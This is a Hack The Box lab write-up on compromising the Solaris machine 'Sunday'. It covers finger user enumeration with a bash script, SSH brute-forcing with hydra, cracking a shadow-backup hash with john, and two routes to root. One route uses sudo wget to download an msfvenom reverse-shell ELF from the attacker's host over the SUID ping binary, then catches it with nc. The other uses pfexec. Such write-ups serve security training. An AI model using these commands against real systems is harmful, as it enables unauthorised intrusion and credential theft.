Tags: solaris, hack the box, wget, pfexec
Sunday was a fun box for me. I’ve used Solaris in the past, but it’s been quite awhile, so I enjoyed getting the opportunity to work on Solaris again. What really made this box fun was the different ways of getting a root shell.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535 --rate 700 -oL "scan.10.10.10.76.tcp" 10.10.10.76
#masscan
open tcp 22022 10.10.10.76 1537703852
open tcp 79 10.10.10.76 1537703886
open tcp 111 10.10.10.76 1537703890
# end
The thing that jumped out at me in the nmap
scan is the finger service.
nmap -p 22022,79,111 -sC -sV -oN nmap.scan 10.10.10.76
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-23 07:05 CDT
Nmap scan report for 10.10.10.76
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open rpcbind 2-4 (RPC #100000)
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.35 seconds
The finger service displays information about the users on a system. It’s a simple service that has been around a very long time. There are pre-built scripts out there to handle all of this for us, but let’s do some manual exploration and see how the service works.
First, we can request a list of currently logged-on users (what nmap
did for us above) by sending an empty string:
finger @10.10.10.76
No one logged on
We can also request information about a user we can reasonably assume is on the box with the command:
finger root@10.10.10.76
Login Name TTY Idle When Where
root Super-User pts/3 <Apr 24 10:37> sunday
One last thing to try is sending a username we can assume is NOT on the box:
finger beniciodeltoro@10.10.10.76
Login Name TTY Idle When Where
beniciodeltoro ???
So, we have a service that responds with actual information when when we send it a username that exists, and the username with three question marks when it doesn’t. We can use this to write a naive implementation of a finger enumeration script.
1#!/bin/bash
2
3# run the finger command using the current line of the file as a username
4#
5# strip out headers in the form of
6# Login Name TTY Idle When Where
7#
8# and strip out responses containing '???'
9#
10# remaining results should look similar to
11# root Super-User pts/3 <Apr 24 10:37> sunday
12
13if [[ $# -lt 2 ]]; then
14 echo "Usage: $0 TARGET WORDLIST"
15 exit
16fi
17
18while read user; do
19 finger "${user}"@"${1}" | egrep -v -e "^Login" -e "\?\?\?"
20done < "${2}"
With our script in hand, we can throw a wordlist at the box and see what users are present.
./finger-enum.sh 10.10.10.76 /usr/share/wordlists/SecLists/Usernames/Names/names.txt
1nobody NFS Anonymous Access < . . . . >
2noaccess No Access User < . . . . >
3nobody4 SunOS 4.x NFS Anonym < . . . . >
4adm Admin < . . . . >
5lp Line Printer Admin < . . . . >
6uucp uucp Admin < . . . . >
7nuucp uucp Admin < . . . . >
8dladm Datalink Admin < . . . . >
9listen Network Admin < . . . . >
10lp Line Printer Admin < . . . . >
11smmsp SendMail Message Sub < . . . . >
12sammy sammy pts/2 <Apr 24 12:57> 10.10.14.4
13sunny sunny pts/2 <Sep 19 06:34> 10.10.14.13
We have some usernames, no other ways to enumerate further, and no other clear way to try and gain access to the system. Those things combined suggest password guessing may be the next step.
hydra -L sunny_and_sammy.txt -P /usr/share/wordlists/rockyou.txt -e nsr -u -s 22022 -t 4 10.10.10.76 ssh
hydra options used:
-L FILE
load several logins from FILE
-P FILE
load several passwords from FILE
-e nsr
try "n" null password, "s" login as pass and/or "r" reversed login
-u
loop around users, not passwords
-s PORT
if the service is on a different default port, define it here
-t TASKS
run TASKS number of connects in parallel per target (default: 16)
-------------8<-------------
[22022][ssh] host: 10.10.10.76 login: sunny password: sunday
-------------8<-------------
\o/ - access level: sunny
Basic enumeration steps turned up an interesting directory /backup
. Within the directory, there are two files, one of which we can read.
1/backup/shadow.backup
2════════════════════════════
3mysql:NP:::::::
4openldap:*LK*:::::::
5webservd:*LK*:::::::
6postgres:NP:::::::
7svctag:*LK*:6445::::::
8nobody:*LK*:6445::::::
9noaccess:*LK*:6445::::::
10nobody4:*LK*:6445::::::
11sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
12sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Pulling back sammy’s hash found above, we run john
and are rewarded with sammy’s password: cooldude!.
/opt/JohnTheRipper/run/john hash --wordlist=/usr/share/wordlists/rockyou.txt
-------------8<-------------
cooldude! (sammy)
-------------8<-------------
After logging in as sammy via ssh
or su
, we can grab user.txt.
wc -c Desktop/user.txt
33 Desktop/user.txt
\o/ - access level: sammy
By running a sudo -l
we get the following output.
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
I know a popular method of rooting this machine was to overwrite /etc/sudoers
with sammy having ALL sudo privileges. This is ok, if done correctly. Unfortunately, it’s easy to mess up and if the sudoers file gets hosed, this particular path to root goes with it. Let’s look at a much cleaner method for leveraging sammy’s use of sudo
.
On target, we need to identify a SUID binary that is owned by root.
find / -perm -4000 -ls 2>/dev/null
There are a lot that get returned, but choosing one that won’t have any adverse side-effects if something goes wrong is probably a good idea. I went with ping
.
153503 55 -r-sr-xr-x 1 root bin 175 Sep 23 2018 /usr/sbin/ping
We’ll use msfvenom
to create an ELF executable that will callback to our kali host.
msfvenom -p solaris/x86/shell_reverse_tcp LHOST=tun0 LPORT=12345 -f elf -o solaris-reverse-tcp-12345.elf
We need to serve the binary so the target can download it with wget
. I used Python’s http
module.
python3 -m http.server 80
On target, we’ll use wget to overwrite ping
with solaris-reverse-tcp-12345.elf
.
sudo /usr/bin/wget 10.10.14.77/solaris-reverse-tcp-12345.elf -O /usr/sbin/ping
Now that ping
is really our msfvenom
executable, we can get our callback.
# on kali
nc -nvlp 12345
# on target
/usr/sbin/ping
id
uid=101(sammy) gid=10(staff) euid=0(root)
wc -c /root/root.txt
33 /root/root.txt
\o/ - root access
I sent a message to the creator but never received a reply so I’m not sure if this was an unintended root or not. In either case it’s interesting, so let’s check it out.
If you want to learn more about roles, check out this 4-part blog post, it covers a lot related to RBAC on Solaris.
Role: A special identity for running privileged applications. The special identity can be assumed by assigned users only. In a system that is run by roles, superuser is unnecessary. Superuser capabilities are distributed to different roles. [2]
If we look at the /etc/user_attr
file, we can see that root is defined as a role. What’s doubly interesting is that in the same file, sammy is defined as having the root role.
/etc/user_attr
════════════════════════════
root::::type=role;auths=solaris.*,solaris.grant;profiles=All;lock_after_retries=no;min_label=admin_low;clearance=admin_high
-------------8<-------------
sammy::::profiles=Primary Administrator;roles=root
Another way to check is to run the roles
command. Running roles
as sammy produces the output below.
root
Prior to Solaris 11.2, the account created during OS install is automatically assigned the root role and Primary Administrator profile.
The pfexec
program is used to execute commands with the attributes specified by the user’s profiles in the exec_attr(4) database. The interesting thing about pfexec
is that you don´t have to authenticate. You can think of it like a passwordless sudo
that uses roles. Let’s try it out.
pfexec bash
sammy@sunday:~# id
uid=0(root) gid=0(root) groups=10(staff)
Pretty simple. No setup required. As soon as we accessed the sammy account, we were effectively root, whether we knew it or not.
\o/ - double root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.